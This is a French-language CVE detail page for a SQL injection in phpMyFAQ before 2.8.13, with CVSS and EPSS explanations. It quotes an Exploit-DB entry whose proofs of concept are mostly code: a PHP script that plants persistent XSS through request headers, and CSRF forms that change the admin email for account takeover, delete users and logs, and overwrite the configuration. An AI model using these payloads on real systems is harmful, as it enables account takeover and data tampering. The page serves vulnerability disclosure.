CVE-2014-6045 : Détail

CVE-2014-6045

7.2
/
Haute
SQL Injection
A03-Injection
0.11%V3
Network
2018-08-28
15h00 +00:00
2018-08-28
14h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

SQL injection vulnerability in phpMyFAQ before 2.8.13 allows remote authenticated users with certain permissions to execute arbitrary SQL commands via vectors involving the restore function.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 7.2 HIGH CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

High

The attacker is authorized with (i.e. requires) privileges that provide significant (e.g. administrative) control over the vulnerable component that could affect component-wide settings and files.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 34580

Date de publication : 2014-09-07 22h00 +00:00
Auteur : smash
EDB Vérifié : No

#Title: phpMyFAQ 2.8.X - Multiple Vulnerabilities #Vendor: phpmyfaq.de #Date: 04.09.19 #Version: >= 2.8.12 (Latest ATM) #Tested on: Apache 2.2 / PHP 5.4 / Linux #Contact: smash [at] devilteam.pl 1) Persistent XSS Administrator is able to view information about specific user session in 'Statistic' tab. Over there, you may find informations such as user ip, refferer and user agent. For example, to view informations about session with ID 1, you need visit following address: http://localhost/phpmyfaq/admin/?action=viewsession&id=1 Refferer and User Agent variables are not filtered, which allows attacker to inject javascript via those parameters. All you need to do, is to perform particular HTTP request which will contain javascript. For example, if you will produce hundrends of those request, there will be hundrends of Persistent XSS - Victim only needs to visit any of them. PoC: <?php $ch =curl_init("http://localhost/phpmyfaq/index.php"); curl_setopt($ch,CURLOPT_USERAGENT,'<script>alert(666)</script>'); curl_setopt($ch, CURLOPT_REFERER, '<script>alert(123)</script>'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec($ch); curl_close($ch); print "$postResult"; ?> Vuln (viewsession): <tbody> <tr> <td>2014-09-04 02:22:04</td> <td>new_session (0)</td> </tr> <tr> <td>Referer:</td> <td> <a href="<script>alert(123)</script>" target="_blank"> <script>alert(123)</script> </a> </td> </tr> <tr> <td>Browser:</td> <td><script>alert(666)</script></td> </tr> <tr> <td>IP-Address:</td> <td>::1</td> </tr> </tbody> 2) Remote FAQ Disclosure Administrator is able to view or download FAQ data using few extensions (xhtml, xml, pdf). Because of no user restrictions, attacker may reproduce this vulnerability to perform those actions even without having an account. - Download <html> <body> <form action="http://localhost/phpmyfaq/admin/?action=exportfile" method="POST"> <input type="hidden" name="catid" value="0" /> <input type="hidden" name="downwards" value="1" /> <input type="hidden" name="type" value="xml" /> <input type="hidden" name="dispos" value="attachment" /> <input type="hidden" name="submitExport" value="" /> <input type="submit" value="Submit request" /> </form> </body> </html> - View <html> <body> <form action="http://localhost/phpmyfaq/admin/?action=exportfile" method="POST"> <input type="hidden" name="catid" value="0" /> <input type="hidden" name="downwards" value="1" /> <input type="hidden" name="type" value="xml" /> <input type="hidden" name="dispos" value="inline" /> <input type="hidden" name="submitExport" value="" /> <input type="submit" value="Submit request" /> </form> </body> </html> 3) CSRF - Edit user credentials (login/mail) PoC: <html> <body> <form action="http://localhost/phpmyfaq/admin/?action=user&user_action=update_data" method="POST"> <input type="hidden" name="user_id" value="1" /> <input type="hidden" name="user_status" value="active" /> <input type="hidden" name="display_name" value="haked" /> <input type="hidden" name="email" value="[email protected]" /> <input type="hidden" name="last_modified" value="undefined" /> <input type="submit" value="Go" /> </form> </body> </html> By then, you may generate new password for victim using 'Forgot password' option - just provide your email so you can grab it. - Delete user http://localhost/phpmyfaq/admin/index.php?action=ajax&ajax=user&ajaxaction=delete_user&user_id=1 - Delete category http://localhost/phpmyfaq/admin/?action=deletecategory&cat=1&catlang=en - Delete session (month) PoC: <html> <body> <form action="http://localhost/phpmyfaq/admin/?action=viewsessions" method="POST"> <input type="hidden" name="month" value="092014" /> <input type="hidden" name="statdelete" value="" /> <input type="submit" value="Submit request" /> </form> </body> </html> - Delete logs older than 30 days http://localhost/phpmyfaq/admin/?action=deleteadminlog - Add stopword http://localhost/phpmyfaq/admin/index.php?action=ajax&ajax=config&ajaxaction=save_stop_word&stopword=lolwut&stopwords_lang=en - Edit configuration Affected: Main configuration FAQ records configuration Search Security configuration Spam control center Social network configuration PoC: <html> <body> <form action="http://localhost/phpmyfaq/admin/?action=config&config_action=saveConfig" method="POST"> <input type="hidden" name="edit[main.language]" value="language_en.php" /> <input type="hidden" name="edit[main.languageDetection]" value="true" /> <input type="hidden" name="edit[main.titleFAQ]" value="phpMyFAQ Codename Perdita" /> <input type="hidden" name="edit[main.currentVersion]" value="2.8.12" /> <input type="hidden" name="edit[main.metaDescription]" value="lolwat" /> <input type="hidden" name="edit[main.metaKeywords]" value="" /> <input type="hidden" name="edit[main.metaPublisher]" value="Whatever" /> <input type="hidden" name="edit[main.administrationMail]" value="[email protected]" /> <input type="hidden" name="edit[main.contactInformations]" value="" /> <input type="hidden" name="edit[main.send2friendText]" value="" /> <input type="hidden" name="edit[main.enableUserTracking]" value="true" /> <input type="hidden" name="edit[main.enableAdminLog]" value="true" /> <input type="hidden" name="edit[main.referenceURL]" value="http://localhost/phpmyfaq" /> <input type="hidden" name="edit[main.urlValidateInterval]" value="86400" /> <input type="hidden" name="edit[main.enableWysiwygEditor]" value="true" /> <input type="hidden" name="edit[main.templateSet]" value="default" /> <input type="hidden" name="edit[main.dateFormat]" value="Y-m-d H:i" /> <input type="hidden" name="edit[records.maxAttachmentSize]" value="100000" /> <input type="hidden" name="edit[records.disableAttachments]" value="true" /> <input type="hidden" name="edit[records.numberOfRecordsPerPage]" value="10" /> <input type="hidden" name="edit[records.numberOfShownNewsEntries]" value="3" /> <input type="hidden" name="edit[records.numberOfRelatedArticles]" value="5" /> <input type="hidden" name="edit[records.orderby]" value="id" /> <input type="hidden" name="edit[records.sortby]" value="DESC" /> <input type="hidden" name="edit[records.attachmentsPath]" value="attachments" /> <input type="hidden" name="edit[records.defaultAttachmentEncKey]" value="" /> <input type="hidden" name="edit[records.orderingPopularFaqs]" value="visits" /> <input type="hidden" name="edit[records.autosaveSecs]" value="180" /> <input type="hidden" name="edit[search.numberSearchTerms]" value="10" /> <input type="hidden" name="edit[search.relevance]" value="thema,content,keywords" /> <input type="hidden" name="edit[security.bannedIPs]" value="" /> <input type="hidden" name="edit[security.permLevel]" value="basic" /> <input type="hidden" name="edit[security.ssoLogoutRedirect]" value="" /> <input type="hidden" name="edit[spam.enableSafeEmail]" value="true" /> <input type="hidden" name="edit[spam.checkBannedWords]" value="true" /> <input type="hidden" name="edit[spam.enableCaptchaCode]" value="true" /> <input type="hidden" name="edit[socialnetworks.twitterConsumerKey]" value="" /> <input type="hidden" name="edit[socialnetworks.twitterConsumerSecret]" value="" /> <input type="hidden" name="edit[socialnetworks.twitterAccessTokenKey]" value="" /> <input type="hidden" name="edit[socialnetworks.twitterAccessTokenSecret]" value="" /> <input type="submit" value="Submit request" /> </form> </body> </html>

Products Mentioned

Configuraton 0

Phpmyfaq>>Phpmyfaq >> Version To (excluding) 2.8.13

Références